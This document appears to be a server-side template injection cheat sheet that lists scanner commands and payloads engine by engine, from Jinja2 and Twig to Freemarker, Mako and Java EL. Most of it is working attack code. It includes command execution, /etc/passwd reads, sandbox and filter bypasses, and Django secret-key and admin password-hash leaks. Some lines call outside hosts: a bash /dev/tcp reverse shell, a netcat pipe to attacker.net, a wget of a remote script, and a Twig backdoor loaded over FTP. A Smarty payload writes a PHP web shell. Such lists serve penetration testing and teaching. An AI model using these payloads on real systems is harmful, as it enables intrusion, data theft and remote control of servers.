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Server Side Template Injection

Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages

Summary

Tools

  • TInjA - An effiecient SSTI + CSTI scanner which utilizes novel polyglots 

    tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

  • Tplmap - Server-Side Template Injection and Code Injection Detection and Exploitation Tool 

    python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

  • SSTImap - Automatic SSTI detection tool with interactive interface based on Tplmap 

    python3 ./sstimap.py -u 'https://example.com/page?name=John' -s
python3 ./sstimap.py -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade
python3 ./sstimap.py -i -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'

Methodology

SSTI cheatsheet workflow

Detection

In most cases, this polyglot payload will trigger an error in presence of a SSTI vulnerability :

${{<%[%'"}}%\.

The Template Injection Table is an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines.

ASP.NET Razor

Official website

Razor is a markup syntax that lets you embed server-based code (Visual Basic and C#) into web pages.

ASP.NET Razor - Basic injection

@(1+2)

ASP.NET Razor - Command execution

@{
  // C# code
}

Expression Language EL

Official website

Expression Language (EL) is mechanism that simplifies the accessibility of the data stored in Java bean component and other object like request, session and application, etc. There are many operators in JSP that are used in EL like arithmetic and logical operators to perform an expression. It was introduced in JSP 2.0

Expression Language EL - Basic injection

${<property>}
${1+1}

#{<expression string>}
#{1+1}

T(<javaclass>)

Expression Language EL - Properties

  • Interesting properties to access String, java.lang.Runtime
${2.class}
${2.class.forName("java.lang.String")}
${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

Expression Language EL - One-Liner injections not including code execution

// DNS Lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}

// JVM System Property Lookup (ex: java.class.path)
${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}

// Modify session attributes
${pageContext.request.getSession().setAttribute("admin",true)}

Expression Language EL - Code Execution

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using process builder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using JavaClass
T(java.lang.Runtime).getRuntime().exec('whoami').x

// Method using ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}

Freemarker

Official website

Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.

You can try your payloads at https://try.freemarker.apache.org

Freemarker - Basic injection

The template can be :

Freemarker - Read File

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII

Freemarker - Code execution

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]

Freemarker - Sandbox bypass

⚠ only works on Freemarker versions below 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Groovy

Official website

Groovy - Basic injection

Refer to https://groovy-lang.org/syntax.html , but ${9*9} is the basic injection.

Groovy - Read and create File

${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}

Groovy - HTTP request:

${"http://www.google.com".toURL().text}
${new URL("http://www.google.com").getText()}

Groovy - Command Execution

${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(this is a Script class)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}

Groovy - Sandbox Bypass

${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x }

or

${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }

Handlebars

Official website

Handlebars compiles templates into JavaScript functions.

Handlebars - Command Execution

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Jade / Codepen

Official website

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Java

Java - Basic injection

Multiple variable expressions can be used, if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - Retrieve the system’s environment variables

${T(java.lang.System).getenv()}

Java - Retrieve /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Django Templates

Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.

Detection

{% csrf_token %} # Causes error with Jinja2
{{ 7*7 }}  # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r

Django Templates for post-exploitation

# Variables
{{ variable }}
{{ variable.attr }}

# Filters
{{ value|length }}

# Tags
{% csrf_token %}

Cross-site scripting

{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}

Debug information leak

{% debug %}

Leaking app’s Secret Key

{{ messages.storages.0.signer.key }}

Admin Site URL leak

{% include 'admin/base.html' %}

Admin username and password hash leak

{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}

Jinja2

Official website

Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

Jinja2 - Basic injection

{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on a Flask application.

Jinja2 - Template format

{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

Jinja2 - Debug Statement

If the Debug Extension is enabled, a {% debug %} tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.

<pre>{% debug %}</pre>

Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

Jinja2 - Dump all used classes

{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

Access __globals__ and __builtins__:

{{ self.__init__.__globals__.__builtins__ }}

Jinja2 - Dump all config variables

{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}

Jinja2 - Read remote file

# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Jinja2 - Write into remote file

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Jinja2 - Remote Code Execution

Listen for connection

nc -lnvp 8000

Jinja2 - Forcing output on blind RCE

You can import Flask functions to return an output from the vulnerable page.

{{
x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
    from flask import make_response
    r = make_response('Powned')
    return r
")
}}

Exploit the SSTI by calling os.popen().read()

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

But when __builtins__ is filtered, the following payloads are context-free, and do not require anything, except being in a jinja2 Template object:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

We can use these shorter payloads:

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Source @podalirius_ : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/

With objectwalker we can find a path to the os module from lipsum. This is the shortest payload known to achieve RCE in a Jinja2 template:

{{ lipsum.__globals__["os"].popen('id').read() }}

Source: https://twitter.com/podalirius_/status/1655970628648697860

Exploit the SSTI by calling subprocess.Popen

⚠ the number 396 will vary depending of the application.

{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

Exploit the SSTI by calling Popen without guessing the offset

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113) In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

Exploit the SSTI by writing an evil config file.

# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Jinja2 - Filter bypass

request.__class__
request["__class__"]

Bypassing _

http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

Bypassing [ and ]

http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

Bypassing |join

http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus: 

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Jinjava

Official website

Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).

Jinjava - Basic injection

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Fixed by https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Lessjs

Official website

Less (which stands for Leaner Style Sheets) is a backwards-compatible language extension for CSS. This is the official documentation for Less, the language and Less.js, the JavaScript tool that converts your Less styles to CSS styles.

Lessjs - SSRF / LFI

@import (inline) "http://localhost";
// or
@import (inline) "/etc/passwd";

Lessjs < v3 - Command Execution

body {
  color: `global.process.mainModule.require("child_process").execSync("id")`;
}

Plugins

Lessjs plugins can be remotely included and are composed of Javascript which gets executed when the Less is transpiled.

// example local plugin usage
@plugin "plugin-2.7.js";
or 
// example remote plugin usage
@plugin "http://example.com/plugin-2.7.js"

version 2 example RCE plugin:

functions.add('cmd', function(val) {
  return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});
version 3 and above example RCE plugin

//Vulnerable plugin (3.13.1)
registerPlugin({
    install: function(less, pluginManager, functions) {
        functions.add('cmd', function(val) {
            return global.process.mainModule.require('child_process').execSync(val.value).toString();
        });
    }
})

Lodash

Official website

Lodash - Basic Injection

How to create a template:

const _ = require('lodash');
string = "{{= username}}"
const options = {
  evaluate: /\{\{(.+?)\}\}/g,
  interpolate: /\{\{=(.+?)\}\}/g,
  escape: /\{\{-(.+?)\}\}/g,
};

_.template(string, options);
  • string: The template string.
  • options.interpolate: It is a regular expression that specifies the HTML interpolate delimiter.
  • options.evaluate: It is a regular expression that specifies the HTML evaluate delimiter.
  • options.escape: It is a regular expression that specifies the HTML escape delimiter.

For the purpose of RCE, the delimiter of templates is determined by the options.evaluate parameter.

{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>


{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>

Lodash - Command Execution

{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}

Mako

Official website

Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.

<%
import os
x=os.popen('id').read()
%>
${x}

Direct access to os from TemplateNamespace:

Any of these payloads allows direct access to the os module

${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}

PoC :

>>> print(Template("${self.module.cache.util.os}").render())
<module 'os' from '/usr/local/lib/python3.10/os.py'>

Source @podalirius_ : https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/

Pebble

Official website

Pebble is a Java templating engine inspired by Twig and similar to the Python Jinja Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.

Pebble - Basic injection

{{ someString.toUPPERCASE() }}

Pebble - Code execution

Old version of Pebble ( < version 3.0.9): {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}.

New version of Pebble :

{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

Ruby

Ruby - Basic injections

ERB:

<%= 7 * 7 %>

Slim:

#{ 7 * 7 }

Ruby - Retrieve /etc/passwd

<%= File.open('/etc/passwd').read %>

Ruby - List files and directories

<%= Dir.entries('/') %>

Ruby - Code execution

Execute code using SSTI for ERB engine.

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Execute code using SSTI for Slim engine.

#{ %x|env| }

Smarty

Official website

Smarty is a template engine for PHP.

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Twig

Official website

Twig is a modern template engine for PHP.

Twig - Basic injection

{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{dump(_context)}}
{{app.request.server.all|join(',')}}

Twig - Template format

$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);

Twig - Arbitrary File Reading

"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{include("wp-config.php")}}

Twig - Code execution

{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}

Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)

FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}

Example with an email passing FILTER_VALIDATE_EMAIL PHP.

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld

Java - Velocity

Official website

Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Java - Spring

*{7*7}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

patTemplate

patTemplate non-compiling PHP templating engine, that uses XML tags to divide a document into different parts

<patTemplate:tmpl name="page">
  This is the main page.
  <patTemplate:tmpl name="foo">
    It contains another template.
  </patTemplate:tmpl>
  <patTemplate:tmpl name="hello">
    Hello {NAME}.<br/>
  </patTemplate:tmpl>
</patTemplate:tmpl>

PHPlib and HTML_Template_PHPLIB

HTML_Template_PHPLIB is the same as PHPlib but ported to Pear.

authors.tpl

<html>
 <head><title>{PAGE_TITLE}</title></head>
 <body>
  <table>
   <caption>Authors</caption>
   <thead>
    <tr><th>Name</th><th>Email</th></tr>
   </thead>
   <tfoot>
    <tr><td colspan="2">{NUM_AUTHORS}</td></tr>
   </tfoot>
   <tbody>
<!-- BEGIN authorline -->
    <tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
   </tbody>
  </table>
 </body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
    'Christian Weiske'  => 'cweiske@php.net',
    'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
    $t->setVar('AUTHOR_NAME', $name);
    $t->setVar('AUTHOR_EMAIL', $email);
    $t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Plates

Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine.

controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

page template:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

layout template:

<html>
  <head>
    <title><?=$this->e($title)?></title>
  </head>
  <body>
    <?=$this->section('content')?>
  </body>
</html>

References